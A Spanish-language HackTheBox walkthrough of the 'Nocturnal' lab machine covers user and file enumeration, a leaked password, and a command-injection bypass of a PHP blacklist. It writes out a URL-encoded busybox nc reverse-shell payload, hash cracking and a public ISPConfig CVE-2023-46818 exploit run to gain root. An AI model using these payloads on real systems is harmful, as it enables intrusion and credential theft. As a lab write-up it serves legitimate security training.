Nocturnal – HackTheBox Link to heading
- OS: Linux
- Difficulty / Dificultad: Easy /Fácil
- Platform / Plataforma: HackTheBox
Resumen Link to heading
“Nocturnal” es una máquina de dificultad Fácil de la plataforma HackTheBox
. La máquina se encuentra corriendo un servidor web el cual expone un endpoint que puede ser usado, a través de fuerza bruta, para filtrar un archivo del sistema. Este archivo contiene credenciales que corresponden a un administrador del sitio web. Este administrador tiene los permisos de crear un respaldo del sistema. No obstante, uno de los parámetros utilizados es vulnerable a inyección de comandos, lo cual nos permite obtener una shell, extraer un archivo de base de datos y obtener credenciales de un nuevo usuario las cuales funcionan por SSH
. Luego de ello, podemos identificar un servicio interno corriendo con privilegios identificado como ISPConfig
-un servicio para administrar mails y registros DNS
-. Las credenciales previamente halladas funcionan como administrador en este nuevo servicio, de donde somos capaces de extraer una versión y corroborar que este servicio es vulnerable a CVE-2023-46818; una vulnerabilidad la cual permite inyección de código. Abusando de esta vulnerabilidad, somos capaces de ganar una shell como root
y comprometer así el sistema.
User / Usuario Link to heading
Empezamos buscando puertos abiertos que estén utilizando protocolo TCP
mediante la herramienta Nmap
. Primero realizamos un escaneo rápido, pero silencioso sólo tratando de identificar puertos abiertos:
❯ sudo nmap -p- --min-rate=5000 --open -sS -n -Pn -vvv 10.129.219.164
Encontramos así 2 puertos abiertos: 22
SSH
y 80
HTTP
. Ya identificados los puertos abiertos, utilizamos la flag -sVC
de Nmap
sobre éstos para aplicar algunos scripts de reconocimiento:
❯ sudo nmap -sVC -p22,80 10.129.219.164
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-13 01:15 -04
Nmap scan report for 10.129.219.164
Host is up (0.27s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
| 256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_ 256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nocturnal.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.39 seconds
Del output para el puerto 80
HTTP
podemos ver que el sitio web redirige al dominio http://nocturnal.htb
.
Agregamos este dominio, junto con la IP de la máquina víctima, a nuestro archivo /etc/hosts
ejecutando en una terminal:
❯ echo '10.129.219.164 nocturnal.htb' | sudo tee -a /etc/hosts
Usamos luego la herramienta WhatWeb
contra el sitio web para hallar tecnologías siendo usadas por el servidor web. Esta herramienta nos retorna un mail (support@nocturnal.htb
) y muestra que el servidor está corriendo sobre Nginx
:
❯ whatweb -a 3 http://nocturnal.htb
http://nocturnal.htb [200 OK] Cookies[PHPSESSID], Country[RESERVED][ZZ], Email[support@nocturnal.htb], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.219.164], Title[Welcome to Nocturnal], nginx[1.18.0]
Visitando http://nocturnal.htb
en un navegador de internet muestra:
La página dice que somos capaces de subir documentos de Word
, Excel
y PDF
; las guarda y luego estos documentos pueden ser solicitados más tarde.
Podemos crearnos una cuenta clickeando sobre la opción register
y usar la cuenta creada para loguearnos. Ya creada la cuenta y logueados, se nos presenta ahora la nueva opción de subir archivos:
Podemos tratar de subir un simple archivo PDF
genérico (que en mi caso he llamado dummy.pdf
). Subido aquel archivo la web retorna:
Haciendo un poco de hovering (poner nuestro mouse sobre el link dummy.pdf
y ver -en la esquina inferior izquierda en Firefox
- a qué sitio web nos lleva) muestra que el documento redirige al link:
http://nocturnal.htb/view.php?username=gunzf0x&file=dummy.pdf
Esto puede significar que si nuestro usuario es llamado <usuario>
y nuestro archivo subido es llamado <archivo>
, entonces el archivo -y su respectivo link- generado será:
http://nocturnal.htb/view.php?username=<usuario>&file=<archivo>
Interceptando con Burpsuite
la petición que es enviada cuando queremos descargar aquel archivo nos retorna:
GET /view.php?username=gunzf0x&file=dummy.pdf HTTP/1.1
Host: nocturnal.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://nocturnal.htb/dashboard.php
Cookie: PHPSESSID=oqn68o3de9crl8fdke4rc1n3du
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Pero nada más allá de esto.
Si buscamos por un archivo aleatorio (que no exista) modificandop la petición interceptada a:
GET /view.php?username=gunzf0&file=test.pdf HTTP/1.1
Host: nocturnal.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://nocturnal.htb/dashboard.php
Cookie: PHPSESSID=oqn68o3de9crl8fdke4rc1n3du
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Obtenemos una respuesta nueva en la web:
Obtenemos el texto File does not exist
.
Ahora bien, si cambiamos nuestro usuario a través del parámetro username
a un usuario que claramente no existe mediante la petición:
GET /view.php?username=gunzf0xtester&file=test.pdf HTTP/1.1
Host: nocturnal.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://nocturnal.htb/dashboard.php
Cookie: PHPSESSID=oqn68o3de9crl8fdke4rc1n3du
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Ahora el sitio web retorna:
Ahora podemos ver el texto User not found
.
En resumen: podemos hacer peticiones utilizando el parámetro username
junto con la presencia (o ausencia) del texto User not found
para buscar por usuarios válidos; de la misma manera, podemos usar la presencia (o ausencia) del texto File does not exist
en la respuesta para buscar por archivos válidos.
Primero, busquemos por usuarios válidos utilizando la herramienta ffuf
. Utilizando la cookie de sesión de nuestro usuario (dado que requerimos estar logueados/autenticados para realizar esta acción), podemos buscar por usuarios sólo basándonos en si la respuesta no tiene el texto User not found
. Esto lo podemos realizar con la flag -fr
en fuff
, por ejemplo:
❯ ffuf -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt:FUZZ -u 'http://nocturnal.htb/view.php?username=FUZZ&file=test.pdf' -b 'PHPSESSID=opbcbddboarkq0sqcdoc2h98d4' -fr 'User not found'
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://nocturnal.htb/view.php?username=FUZZ&file=test.pdf
:: Wordlist : FUZZ: /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
:: Header : Cookie: PHPSESSID=opbcbddboarkq0sqcdoc2h98d4
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Regexp: User not found
________________________________________________
admin [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 533ms]
amanda [Status: 200, Size: 3113, Words: 1175, Lines: 129, Duration: 267ms]
tobias [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 287ms]
Encontramos así 3 usuarios válidos: admin
, amanda
y tobias
. Guardamos estos 3 usuarios en un archivo llamado potential_users.txt
.
Dado que el sitio web dice que admite archivos Word
, Excel
y PDF
podemos buscar por archivos con las extensiones correspondientes a estos formatos. Usamos extensiones basados en esta página de Microsoft para extensiones válidas de Word
y Excel
; y .pdf
para archivos PDF
. Creamos así el siguiente diccionario de formatos:
❯ cat valid_formats.txt
doc
docx
docm
dot
dotm
odt
pdf
csv
dbf
dif
ods
txt
xls
xlsx
xla
xlsm
No obstante, si buscamos por algunas extensiones, obtenemos de respuesta Invalid file format
. Luego de probar cuáles de ellas no retornan aquel texto, nos quedamos con 4 extensiones:
❯ cat valid_formats.txt
docx
odt
pdf
xlsx
Dado que la respuesta no debe tener la frase File does not exist
. Por lo que descartamos todas las respuestas que tengan contengan la frase File does not exist
filtrando nuevamente con la flag -fr
de ffuf
. De este modo, buscamos si existe algún archivo Excel
, Word
o PDF
que pertenezca a los usuarios hallados:
❯ ffuf -w ./potential_users.txt:USER -w ./valid_formats.txt:FORMAT -w /usr/share/seclists/Discovery/Web-Content/common.txt:FILE -u 'http://nocturnal.htb/view.php?username=USER&file=FILE.FORMAT' -b 'PHPSESSID=opbcbddboarkq0sqcdoc2h98d4' -fr 'File does not exist'
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://nocturnal.htb/view.php?username=USER&file=FILE.FORMAT
:: Wordlist : USER: /home/gunzf0x/HTB/HTBMachines/Easy/Nocturnal/content/potential_users.txt
:: Wordlist : FORMAT: /home/gunzf0x/HTB/HTBMachines/Easy/Nocturnal/content/valid_formats.txt
:: Wordlist : FILE: /usr/share/seclists/Discovery/Web-Content/common.txt
:: Header : Cookie: PHPSESSID=opbcbddboarkq0sqcdoc2h98d4
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Regexp: File does not exist
________________________________________________
[Status: 200, Size: 20477, Words: 66, Lines: 94, Duration: 267ms]
* FILE: privacy
* FORMAT: odt
* USER: amanda
Encontramos un archivo válido llamado privacy.odt
para el usuario amanda
.
Visitando así en un navegador de internet (ya logueados como el usuario que habíamos creado):
http://nocturnal.htb/view.php?username=amanda&file=privacy.odt
Descarga un archivo.
Podemos abrir el archivo generado en un ODT Viewer
como este. Subir el archivo privacy.odt
y revisar su contenido. Alternativamente, de manera local, lo podemos abrir ejecutando:
❯ xdg-open ./privacy.odt
Abrimos el contenido del archivo content.xml
:
Abriendo este archivo en Firefox
/ejecutando simplemente firefox content.xml
en una terminal) muestra:
Leyendo, encontramos el siguiente texto para Amanda
:
Nocturnal has set the following temporary password for you: arHkG7HAI68X8s1J. This password has been set for all our services, so it is essential that you change it on your first login to ensure the security of your account and our infrastructure.
The file has been created and provided by Nocturnal's IT team. If you have any questions or need additional assistance during the password change process, please do not hesitate to contact us.
Remember that maintaining the security of your credentials is paramount to protecting your information and that of the company. We appreciate your prompt attention to this matter.
Tenemos una potencial contraseña arHkG7HAI68X8s1J
para el usuario amanda
.
Esta contraseña no funciona para el usuario amanda
usando el servicio SSH
, tal cual se puede revisar utilizando la herramienta NetExec
:
❯ nxc ssh nocturnal.htb -u 'amanda' -p 'arHkG7HAI68X8s1J'
SSH 10.129.219.164 22 nocturnal.htb [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.12
SSH 10.129.219.164 22 nocturnal.htb [-] amanda:arHkG7HAI68X8s1J
No obstante, si cerramos la sesión en la página web principal con nuestro usuario creado y vamos al panel de login http://nocturnal.htb/login.php
, las credenciales amanda:arHkG7HAI68X8s1J
funcionan y estamos dentro del panel:
Podemos ver un nuevo botón/link el cual no estaba previamente disponible que dice Go to Admin Panel
. Clickeando en éste redirige a /admin.php
, donde podemos ver ahora:
Revisando esta nueva página, podemos crear un respaldo el cual pregunta por una contraseña:
Adicionalmente, si clickeamos en admin.php
, la misma página despliega el código del archivo admin.php
. Allí, el código PHP
enseñado muestra cómo se genera el respaldo. La función principal creando el respaldo es:
<?php
if (isset($_POST['backup']) && !empty($_POST['password'])) {
$password = cleanEntry($_POST['password']);
$backupFile = "backups/backup_" . date('Y-m-d') . ".zip";
if ($password === false) {
echo "<div class='error-message'>Error: Try another password.</div>";
} else {
$logFile = '/tmp/backup_' . uniqid() . '.log';
$command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " . > " . $logFile . " 2>&1 &";
$descriptor_spec = [
0 => ["pipe", "r"], // stdin
1 => ["file", $logFile, "w"], // stdout
2 => ["file", $logFile, "w"], // stderr
];
$process = proc_open($command, $descriptor_spec, $pipes);
if (is_resource($process)) {
proc_close($process);
}
sleep(2);
$logContents = file_get_contents($logFile);
if (strpos($logContents, 'zip error') === false) {
echo "<div class='backup-success'>";
echo "<p>Backup created successfully.</p>";
echo "<a href='" . htmlspecialchars($backupFile) . "' class='download-button' download>Download Backup</a>";
echo "<h3>Output:</h3><pre>" . htmlspecialchars($logContents) . "</pre>";
echo "</div>";
} else {
echo "<div class='error-message'>Error creating the backup.</div>";
}
unlink($logFile);
}
}
?>
La contraseña es sanitizada en una función llamada cleanEntry
definida como:
function cleanEntry($entry) {
$blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];
foreach ($blacklist_chars as $char) {
if (strpos($entry, $char) !== false) {
return false; // Malicious input detected
}
}
return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
}
Una parte potencialmente sensible sería la línea:
$command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " . > " . $logFile . " 2>&1 &";
Ya que luego esta variable $command
es ejecutada a nivel de sistema en la línea:
$process = proc_open($command, $descriptor_spec, $pipes);
En palabras simples, se podría tratar de inyectar código a través de la variable $password
. Sin embargo, como vimos en la función de sanitización existente, algunos caracteres están prohibidos para prevenir inyección de comandos.
Si generamos un simple respaldo con una simple contraseña que defino como test
y descargamos el respaldo generado podemos ver que genera respaldos de archivos existentes en la máquina víctima. Esto lo podemos corroborar con 7z
:
❯ 7z l backup_2025-08-16.zip
7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
64-bit locale=en_US.UTF-8 Threads:5 OPEN_MAX:1024, ASM
Scanning the drive for archives:
1 file, 28704 bytes (29 KiB)
Listing archive: backup_2025-08-16.zip
--
Path = backup_2025-08-16.zip
Type = zip
Physical Size = 28704
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2025-03-04 12:34:41 ..... 7357 2421 admin.php
2025-03-21 03:40:01 D.... 0 0 uploads
2024-10-06 17:54:39 ..... 20477 18391 uploads/privacy.odt
2025-04-14 05:29:36 ..... 1404 723 register.php
2025-04-14 05:27:40 ..... 1425 733 login.php
2025-04-14 05:28:23 ..... 2666 1163 dashboard.php
2025-04-09 06:52:33 ..... 1639 834 index.php
2025-04-16 10:18:50 ..... 5415 1711 view.php
2024-10-04 23:23:43 ..... 84 82 logout.php
2024-10-18 22:26:31 ..... 3105 988 style.css
------------------- ----- ------------ ------------ ------------------------
2025-04-16 10:18:50 43572 27046 9 files, 1 folders
No hay mucho que ver. Por lo que debemos centrarnos en bypassear de alguna manera la inyección de comandos con la variable $password
en admin.php
.
Para ello interceptamos la petición enviada cuando añadimos una contraseña y clickeamos en Create Backup
con Burpsuite
, obteniendo así la petición:
POST /admin.php HTTP/1.1
Host: nocturnal.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
Origin: http://nocturnal.htb
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://nocturnal.htb/admin.php
Cookie: PHPSESSID=opbcbddboarkq0sqcdoc2h98d4
Upgrade-Insecure-Requests: 1
Priority: u=0, i
password=test&backup=
La lista de caracteres baneados se definió como:
$blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];
Pero hay 2 caracteres sensibles que no están baneados, los cuales son:
\n
<TAB>
Es decir, ni los saltos de línea ni los tabs están baneados, lo cual puede permitir una potencial inyección de comandos.
Podemos, además, url-encodear estos caracteres. \n
queda como %0A
y <TAB>
queda como %09
. De esta manera, podemos tratar de enviarnos una reverse shell mediante el comando:
busybox nc 10.10.16.10 443 -e /bin/bash
Donde 10.10.16.10
es nuestra IP de atacantes y 443
el puerto en el cual me pondré en escucha con netcat
.
Dado que no podemos usar espacios, los espacios los reemplazamos por %09
(<TAB>
), el caracter %0A
lo usamos para inyectar una nueva línea en el código y, además, inyectamos un caracter "
al principio de la query para tratar de cerrar las comillas previamente añadidas basado en la variable $command
.
Por lo que el payload se ve algo como:
"%0Abusybox%09nc%0910.10.16.10%09443%09-e%09/bin/bash%0A
Empezamos un listener con nc
en el puerto 443
:
❯ nc -lvnp 443
listening on [any] 443 ...
E introducimos el payload en el parámetro password
en la petición HTTP
interceptada por Burpsuite
:
Obtenemos así una shell como el usuario www-data
:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.10] from (UNKNOWN) [10.129.219.164] 34472
whoami
www-data
Luego de un tratemiento de la TTY, buscamos por archivos sensibles. Podemos ver un directorio nocturnal_database
en /var/www
, el cual contiene un archivo .db
(una base de datos de SQLite
):
www-data@nocturnal:~$ ls
html ispconfig nocturnal.htb nocturnal_database php-fcgi-scripts
www-data@nocturnal:~$ ls -la nocturnal_database/
total 28
drwxr-xr-x 2 www-data www-data 4096 Aug 18 07:39 .
drwxr-xr-x 6 ispconfig ispconfig 4096 Apr 14 09:26 ..
-rw-rw-r-- 1 www-data www-data 20480 Aug 18 07:39 nocturnal_database.db
www-data@nocturnal:~$ file nocturnal_database/nocturnal_database.db
nocturnal_database/nocturnal_database.db: SQLite 3.x database, last written using SQLite version 3031001
Abrimos este archivo .db
usando SQLite
, el cual se encuentra instalado en la máquina víctima:
www-data@nocturnal:~$ sqlite3 nocturnal_database/nocturnal_database.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite>
Buscamos por tablas que puedan contener potenciales contraseñas:
sqlite> SELECT tbl.name, col.name FROM sqlite_master tbl JOIN pragma_table_info(tbl.name) col WHERE col.name LIKE '%pass%' OR col.name LIKE '%pwd%';
users|password
Esto significa que la tabla users
contiene una columna llamada password
.
La tabla users
tiene 3 columnas: id
, username
y password
:
sqlite> PRAGMA table_info(users);
0|id|INTEGER|0||1
1|username|TEXT|1||0
2|password|TEXT|1||0
Chequemos el contenido de las columnas username
y password
:
sqlite> SELECT username,password FROM users;
admin|d725aeba143f575736b07e045d8ceebb
amanda|df8b20aa0c935023f99ea58358fb63c4
tobias|55c82b1ccd55ab219b3b109b07d5061d
Tenemos un nuevo hash para el usuario tobias
user. Dado que este hash tiene 32
caracteres de largo, posiblemente sea un hash de tipo MD5
.
Guardamos este hash en un archivo llamado tobias_hash
y tratamos de romperlo a través de un Brute Force Password Cracking
con la herramienta JohnTheRipper
, también conocida como john
:
❯ john --wordlist=/usr/share/wordlists/rockyou.txt tobias_hash --format=Raw-MD5
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=5
Press 'q' or Ctrl-C to abort, almost any other key for status
slowmotionapocalypse (?)
1g 0:00:00:00 DONE (2025-04-13 03:35) 1.136g/s 4197Kp/s 4197Kc/s 4197KC/s slp312..slow86
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
Obtenemos una contraseña: slowmotionapocalypse
.
Revisamos si esta nueva contraseña funciona para el usuario tobias
a través del servicio SSH
usando la herramienta NetExec
:
❯ nxc ssh nocturnal.htb -u 'tobias' -p 'slowmotionapocalypse'
SSH 10.129.219.164 22 nocturnal.htb [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.12
SSH 10.129.219.164 22 nocturnal.htb [+] tobias:slowmotionapocalypse Linux - Shell access!
Estas credenciales funcionan.
Nos logueamos como tobias
a través de SSH
:
❯ sshpass -p 'slowmotionapocalypse' ssh -o stricthostkeychecking=no tobias@nocturnal.htb
<SNIP>
Last login: Sun Apr 13 07:37:25 2025 from 10.10.16.56
tobias@nocturnal:~$
Podemos extarer la flag de usuario en el directorio /home/tobias
.
Root Link to heading
Revisando puertos internos abiertos tenemos:
tobias@nocturnal:~$ ss -nltp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 10 127.0.0.1:25 0.0.0.0:*
LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
LISTEN 0 151 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 10 127.0.0.1:587 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:8080 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 128 [::]:22 [::]:*
El puerto 8080
es nuevo. Hay otros puertos abiertos, pero estos se usan usualmente para servicios estandarizados: 25
y 587
para SMTP
-servicio de mails-, 53
para DNS
, 3306
y 33060
para bases de datos.
Adicionalmente, con el comando ps aux
, y luego de filtrar por la palabra 8080
con grep
, podemos ver quién está ejecutando el programa que usa aquel puerto:
tobias@nocturnal:~$ ps aux | grep 8080
root 1023 0.0 0.8 286480 34324 ? Ss 05:47 0:00 /usr/bin/php -S 127.0.0.1:8080
tobias 2953 0.0 0.0 6432 720 pts/0 S+ 07:54 0:00 grep --color=auto 8080
Aparentemente, lo que sea que esté siendo ejecutado por el puerto 8080
, está siendo ejecutado por root
. De manera que este servicio es un potencial vector para escalar privilegios.
Podemos revisar si este aquel puerto está corriendo un servicio web interno usando cURL
contra el localhost
, mirando las cabeceras de las respuestas con -I
:
tobias@nocturnal:~$ curl -I http://127.0.0.1:8080
HTTP/1.1 302 Found
Host: 127.0.0.1:8080
Date: Sun, 13 Apr 2025 07:41:30 GMT
Connection: close
X-Powered-By: PHP/7.4.3-4ubuntu2.29
Content-Type: text/html; charset=utf-8
Set-Cookie: ISPCSESS=4p8uen9mi3fe4v8j4th6o6dlug; path=/; HttpOnly; SameSite=Lax
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /login/
Está redirigiendo a /login/
. Por lo que aparentemente es un sitio web.
Podemos cerrar la sesión SSH
actual como tobias
y loguear de nuevo como este usuario, pero esta vez creamos un túnel a través de un Local Port Forwarding
usando la flag -L
para convertir el puerto 8080
de la máquina víctima en el puerto 8080
de nuestra máquina de atacantes (recordando cerrar Burpsuite
si es que lo seguíamos usando dado que este software usa el puerto 8080
por defecto y esto podría causar conflictos a la hora de entablar el túnel):
❯ sshpass -p 'slowmotionapocalypse' ssh -o stricthostkeychecking=no -L 8080:127.0.0.1:8080 tobias@nocturnal.htb
Ya hecho, en un navegador de internet, visitamos http://127.0.0.1:8080
donde podemos ver un nuevo siti oweb con un nuevo panel de login:
Parece ser una aplicación interna que está ejecutando ISPConfig
.
ISPConfig
is an open source hosting control panel for Linux
, licensed under BSD
license and developed by the company ISPConfig UG
. ISPConfig
allows administrators to manage websites, email addresses and DNS
records through a web-based interface.DNS
.Buscando por credenciales por defecto para ISPConfig
encontramos este foro. Es “algo” viejo (del 2005, pensar que han pasado ya 20 años), pero allí dan las infalibles credenciales por defecto admin:admin
. Pero estas credenciales no funcionan en este panel. A pesar de ello, las credenciales admin:slowmotionapocalypse
(la misma contraseña del usuario tobias
) sí funcionan. Estamos dentro:
Si clickeamos en la pestaña Help
podemos ver la versión de ISPConfig
que está corriendo:
La versión actual es 3.2.10p1
.
Revisando en la página web de MITRE de CVEs por vulnerabilidades para ISPConfig
con la versión hallada encontramos una catalogada como CVE-2023-46818. Afecta versiones previas a 3.2.11p1
y es una vunlerabilidad critical dado que permite inyección de comando por medio de PHP
. Buscando por exploits/pruebas de concepto (PoCs) para esta vulnerabilidad es que encontramos este repositorio. Lo clonamos en nuestra máquina de atacantes:
❯ git clone https://github.com/bipbopbup/CVE-2023-46818-python-exploit.git -q
Ejecutando el exploit, éste sólo presunta por un usuario, contraseña y url del servicio ISPConfig
:
❯ cd CVE-2023-46818-python-exploit
❯ python3 exploit.py
Usage: python exploit.py <URL> <Username> <Password>
Dado que este servicio sólo es accesible desde nuestra máquina víctima a través del túnel establecido por el Local Port Forwarding
, ejecutamos el exploit en contra de nuestro localhost
(127.0.0.1
). Más especificamente al puerto 8080
el cual es el puerto 8080
de la máquina víctima gracias al túnel establecido por SSH
. Ejecutamos así:
❯ python3 exploit.py http://127.0.0.1:8080 admin slowmotionapocalypse
[+] Target URL: http://127.0.0.1:8080/
[+] Logging in with username 'admin' and password 'slowmotionapocalypse'
[+] Injecting shell
[+] Launching shell
ispconfig-shell# whoami
root
GG. Obtenemos una shell como el usuario root
en la máquina víctima. Podemos extraer la flag del usuario root
desde el directorio /root
.
~Happy Hacking